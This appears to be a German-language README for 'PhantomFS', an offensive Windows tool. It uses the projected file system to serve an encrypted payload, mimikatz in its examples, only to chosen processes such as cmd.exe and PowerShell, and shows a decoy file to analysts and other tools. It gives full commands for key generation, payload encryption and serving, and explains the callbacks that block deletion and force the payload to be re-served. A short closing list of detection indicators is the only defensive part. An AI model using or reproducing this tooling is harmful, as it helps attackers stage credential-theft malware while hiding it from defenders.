
Ausliefern von Payloads nur an erlaubte Prozesse unter Verwendung der Windows projected file system feature.
ProjFS-Anbieter. Stellt Dateien bereit, deren Inhalt davon abhängt, welcher Prozess sie liest. Die Nutzlast wird AES-256-CBC-verschlüsselt auf der Festplatte gespeichert und erst zur Laufzeit im Speicher entschlüsselt. Dies sollte kein EDR umgehen, da die Nutzlast auf die Festplatte geschrieben wird, wenn erlaubte Prozesse versuchen, sie zu lesen. Alles andere erhält Zugriff verweigert. Dies könnte einige Analysten verärgern, da ihre Tools sie nicht lesen oder einfach eine Attrappe laden. Aber man kann leicht erkennen, dass es sich um ein ProjFS mit einem Reparse-Punkt handelt.
1) Generate key: PhantomFS.exe -keygen
2) Encrypt payload: PhantomFS.exe -encrypt mimikatz.exe -key <key> -out mimikatz.enc
3) Serve: PhantomFS.exe C:\Staging -file mimikatz.enc -key <key> -decoy C:\Windows\System32\calc.exe
Example:
PhantomFS.exe C:\Staging -file mimikatz.enc -key 7ed5a44412447be587b2ca2e4eacb17d41c869360663ae0fea1d0caca159483c -decoy C:\Windows\System32\calc.exe
Ergebnis: C:\Staging\calc.exe erscheint im Dateisystem.
cmd.exe erhält beim Lesen entschlüsselte Mimikatz-BytesVS2022, öffnen Sie PhantomFS.sln, erstellen Sie die x64 Release-Konfiguration. Erfordert Windows SDK (ProjFS-Header + -Bibliotheken).
Enable-WindowsOptionalFeature -Online -FeatureName Client-ProjFS -NoRestart
Der Anbieter läuft auf mittlerer Integritätsstufe, kein Administrator erforderlich (die Aktivierung der ProjFS-Funktion erfordert jedoch Administratorrechte).
PhantomFS.exe -keygen
PhantomFS.exe -encrypt <input> -key <64_hex_chars> -out <output.enc>
Format: [16 Byte Zufalls-IV][AES-256-CBC-Chiffretext mit PKCS7-Padding]
PhantomFS.exe <root_dir> -file <payload.enc> -key <hex> -decoy <benign_file>
[-name <virtual_filename>]
[-allow <process_substring>] (wiederholbar, Standard: powershell.exe, pwsh.exe, cmd.exe)
[-deny-read <process_substring>] (wiederholbar)
[-quiet]
ProjFS-Callbacks empfangen bei jedem Dateizugriff den TriggeringProcessImageFileName:
GetFileDataCallback: Überprüft den Prozess anhand der Regeln und liefert Nutzlast- oder Attrappen-BytesNotificationCallback PRE_DELETE: Blockiert das Löschen durch nicht erlaubte ProzesseFILE_HANDLE_CLOSED: Ruft PrjDeleteFile auf, um eine erneute Hydrierung zu erzwingenDer Trick der erneuten Hydrierung ist notwendig, da ProjFS den Dateiinhalt nach dem ersten Lesen zwischenspeichert. Ohne ihn würde der zweite Leser das erhalten, was der erste Leser erhalten hat.
PrjStartVirtualizing-API-AufrufIO_REPARSE_TAG_PROJFS-Reparse-PunktePrjFlt-Minifilter auf Höhe 189800 (fltmc.exe)Microsoft-Windows-ProjFS-ETW-AnbieterInspiration: